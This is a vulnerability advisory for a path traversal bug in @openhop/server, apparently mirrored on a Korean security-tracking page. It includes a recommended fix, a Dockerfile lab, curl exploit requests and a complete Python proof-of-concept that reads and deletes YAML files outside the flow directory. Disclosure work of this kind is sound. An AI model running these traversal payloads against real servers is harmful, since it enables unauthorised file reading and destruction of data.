@openhop/server: Path Traversal in Flow ID File Operations
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H상세 설명
Path Traversal in Flow ID File Operations
Summary
@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).
Details
FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:
1// packages/server/src/store.ts:52-53 2private filePath(id: string): string { 3 return join(this.dir, `${id}.yaml`) 4}This result is consumed by two sinks:
- Read (
packages/server/src/store.ts:78):readFile(this.filePath(id), 'utf-8') - Delete (
packages/server/src/store.ts:105):unlink(this.filePath(id))
The id value originates from unauthenticated Fastify HTTP route parameters:
GET /api/flows/:id(packages/server/src/routes.ts:306) →store.get(id)at line 333–335DELETE /api/flows/:id(packages/server/src/routes.ts:509) →store.delete(id)at line 539–541
The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.
Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.
Full data-flow (read path):
- HTTP
GET /api/flows/..%2Fvictimreceived (routes.ts:306) find-my-waydecodes..%2Fvictim→req.params.id = '../victim'(routes.ts:333)store.get('../victim')→filePath('../victim')→join('/data/flows', '../victim.yaml')→/data/victim.yaml(store.ts:52–53)readFile('/data/victim.yaml', 'utf-8')returns file contents (store.ts:78)- Server responds HTTP 200 with YAML-parsed JSON body
Full data-flow (delete path):
- HTTP
DELETE /api/flows/..%2Fdelete-mereceived (routes.ts:509) find-my-waydecodes..%2Fdelete-me→req.params.id = '../delete-me'(routes.ts:539)store.delete('../delete-me')→filePath('../delete-me')→join('/data/flows', '../delete-me.yaml')→/data/delete-me.yaml(store.ts:52–53)unlink('/data/delete-me.yaml')removes the file (store.ts:105)- Server responds HTTP 204
PoC
Environment setup (Docker):
1# Build from repository root 2docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . 3 4# Run with HOST=0.0.0.0 (default in the Dockerfile ENV) 5docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.
Attack 1 — Read file outside flow store:
1curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'Expected response:
1HTTP/1.1 200 OK 2Content-Type: application/json; charset=utf-8 3 4{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}Attack 2 — Delete file outside flow store:
1curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'Expected response:
1HTTP/1.1 204 No ContentVerify deletion:
1docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' 2# Output: deletedAutomated PoC script:
1python3 poc.py 127.0.0.1 8799Recommended fix:
1--- a/packages/server/src/store.ts 2+++ b/packages/server/src/store.ts 3+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/ 4+ 5 private filePath(id: string): string { 6+ if (!FLOW_ID_PATTERN.test(id)) { 7+ throw new Error('Invalid flow id') 8+ } 9 return join(this.dir, `${id}.yaml`)10 }Impact
This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).
Affected parties:
- Users running
openhop servelocally — exploitable via a malicious webpage due tocors({ origin: true })allowing all browser origins to make cross-origin requests tolocalhost:8799. - Docker/server deployments —
HOST=0.0.0.0is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.
An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.
Reproduction artifacts
Dockerfile
1# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) 2# 3# Build context: the repository root (naorsabag/openhop) 4# Usage: 5# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . 6# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 7# 8# Data layout inside the container: 9# /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store)10# /data/victim.yaml <- OUTSIDE the flow store (path traversal read target)11# /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)12#13# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",14# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.15 16FROM node:22-alpine17 18WORKDIR /app19 20# Copy package manifests so npm can resolve workspace dependency graph.21COPY package*.json ./22COPY packages/server/package*.json packages/server/23COPY packages/shared/package*.json packages/shared/24COPY packages/cli/package*.json packages/cli/25COPY packages/web/package*.json packages/web/26 27# Copy TypeScript configs and source files BEFORE npm install.28# The @openhop/server package has a "prepare" lifecycle that runs29# `tsc && esbuild` during npm install, so all sources must be present.30COPY tsconfig.base.json ./31COPY packages/server/tsconfig*.json packages/server/32COPY packages/server/src/ packages/server/src/33COPY packages/shared/src/ packages/shared/src/34 35# Install all workspace dependencies.36# The @openhop/server prepare script will compile to dist/server.js.37# We run the server via tsx (direct TypeScript), so the compiled output38# is not required at runtime but the prepare step must not fail.39RUN npm install40 41# Set up the data directory layout for the PoC.42# /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory)43# /data/victim.yaml -> outside the store; represents a sensitive file that44# MUST NOT be reachable via the API without sanitization45RUN mkdir -p /data/flows && \46 printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \47 > /data/victim.yaml && \48 printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \49 > /data/delete-me.yaml50 51# Server listens on 8799 inside the container.52EXPOSE 879953 54# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.55# HOST=0.0.0.0 makes the server reachable from outside the container.56ENV OPENHOP_DATA_DIR=/data/flows57ENV HOST=0.0.0.058ENV PORT=879959 60# Run the server via tsx (TypeScript runner; no compile step needed at runtime).61CMD ["npx", "tsx", "packages/server/src/index.ts"]poc.py
1#!/usr/bin/env python3 2""" 3PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22) 4Target: @openhop/server 0.3.5 / openhop CLI 0.3.6 5VULN-001 — CVSS 8.3 High 6 7Vulnerability: 8 FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: 9 return join(this.dir, `${id}.yaml`)10 with no sanitization on `id`. The route GET /api/flows/:id passes11 `req.params.id` (decoded by find-my-way via decodeURIComponent) directly12 to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in13 the URL is decoded to "../victim", causing path.join to escape the14 configured data directory.15 16Attack Vectors:17 READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml18 DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml19 20Both routes are unauthenticated (routes.ts:306, 509).21 22Usage:23 python3 poc.py [host] [port]24 python3 poc.py 127.0.0.1 879925"""26 27import http.client28import json29import sys30import time31 32HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"33PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 879934 35# URL-encoded payloads: %2F is a percent-encoded "/" character.36# find-my-way treats ".." and "%2F" together as a single path segment37# (no literal "/" split), then decodes the segment to "../victim".38TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"39TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"40 41 42def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:43 """Poll until the OpenHop server returns any response on /api/flows."""44 deadline = time.time() + timeout45 print(f"[*] Waiting for server at http://{host}:{port} ...")46 while time.time() < deadline:47 try:48 conn = http.client.HTTPConnection(host, port, timeout=2)49 conn.request("GET", "/api/flows")50 r = conn.getresponse()51 r.read()52 conn.close()53 print(f"[+] Server ready (HTTP {r.status} on /api/flows)")54 return True55 except Exception:56 time.sleep(1)57 return False58 59 60def raw_http(method: str, host: str, port: int, path: str):61 """62 Send an HTTP request with the path exactly as given — no normalization.63 http.client does NOT percent-decode or normalize the path string, so64 '..%2F' reaches the server verbatim and Fastify's router decodes it.65 """66 conn = http.client.HTTPConnection(host, port, timeout=10)67 conn.request(method, path)68 resp = conn.getresponse()69 body = resp.read()70 conn.close()71 return resp.status, body72 73 74def main() -> int:75 print("=" * 62)76 print("VULN-001 Path Traversal in OpenHop Flow ID File Operations")77 print("=" * 62)78 print(f"[*] Target : http://{HOST}:{PORT}")79 print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)")80 print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)")81 print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml")82 print()83 84 if not wait_for_server(HOST, PORT):85 print("[-] Server did not become ready within timeout. ABORT.")86 return 187 88 print()89 passed_read = False90 passed_delete = False91 92 # ── Attack 1: Read a file outside the configured flow store ─────────93 print("[*] Attack 1 — READ path traversal")94 print(f" Request : GET {TRAVERSAL_GET_PATH}")95 print(f" Decoded : id = ../victim")96 print(f" Resolves: path.join('/data/flows', '../victim.yaml')")97 print(f" = /data/victim.yaml (outside flow store)")98 99 status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)100 body_text = body.decode("utf-8", errors="replace")101 102 print(f" Status : {status}")103 print(f" Body : {body_text[:600]}")104 105 if status == 200:106 try:107 data = json.loads(body_text)108 title = data.get("meta", {}).get("title", "")109 if "SECRET_OUTSIDE_FILE" in title:110 print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")111 print(f" Leaked title field = {title!r}")112 passed_read = True113 else:114 print(f"[WARN] HTTP 200 but unexpected title: {title!r}")115 print(f" Full response: {data}")116 # Still count as read-traversal success if we got a valid flow back117 if "meta" in data or "flow" in data:118 print("[PASS] READ confirmed: path traversal returned a flow from outside store")119 passed_read = True120 except json.JSONDecodeError:121 print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")122 else:123 print(f"[FAIL] Expected HTTP 200, got {status}")124 125 print()126 127 # ── Attack 2: Delete a file outside the configured flow store ────────128 print("[*] Attack 2 — DELETE path traversal")129 print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}")130 print(f" Decoded : id = ../delete-me")131 print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')")132 print(f" = /data/delete-me.yaml (outside flow store)")133 134 status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)135 body_text = body.decode("utf-8", errors="replace")136 137 print(f" Status : {status}")138 if body_text:139 print(f" Body : {body_text[:200]}")140 141 if status in (200, 204):142 print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")143 passed_delete = True144 else:145 print(f"[FAIL] Expected HTTP 204, got {status}")146 147 # ── Summary ─────────────────────────────────────────────────────────148 print()149 print("=" * 62)150 if passed_read and passed_delete:151 print("[RESULT] PASS — Both read and delete path traversal exploited")152 return 0153 elif passed_read:154 print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")155 return 1156 else:157 print("[RESULT] FAIL — Exploit did not succeed")158 return 2159 160 161if __name__ == "__main__":162 sys.exit(main())AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.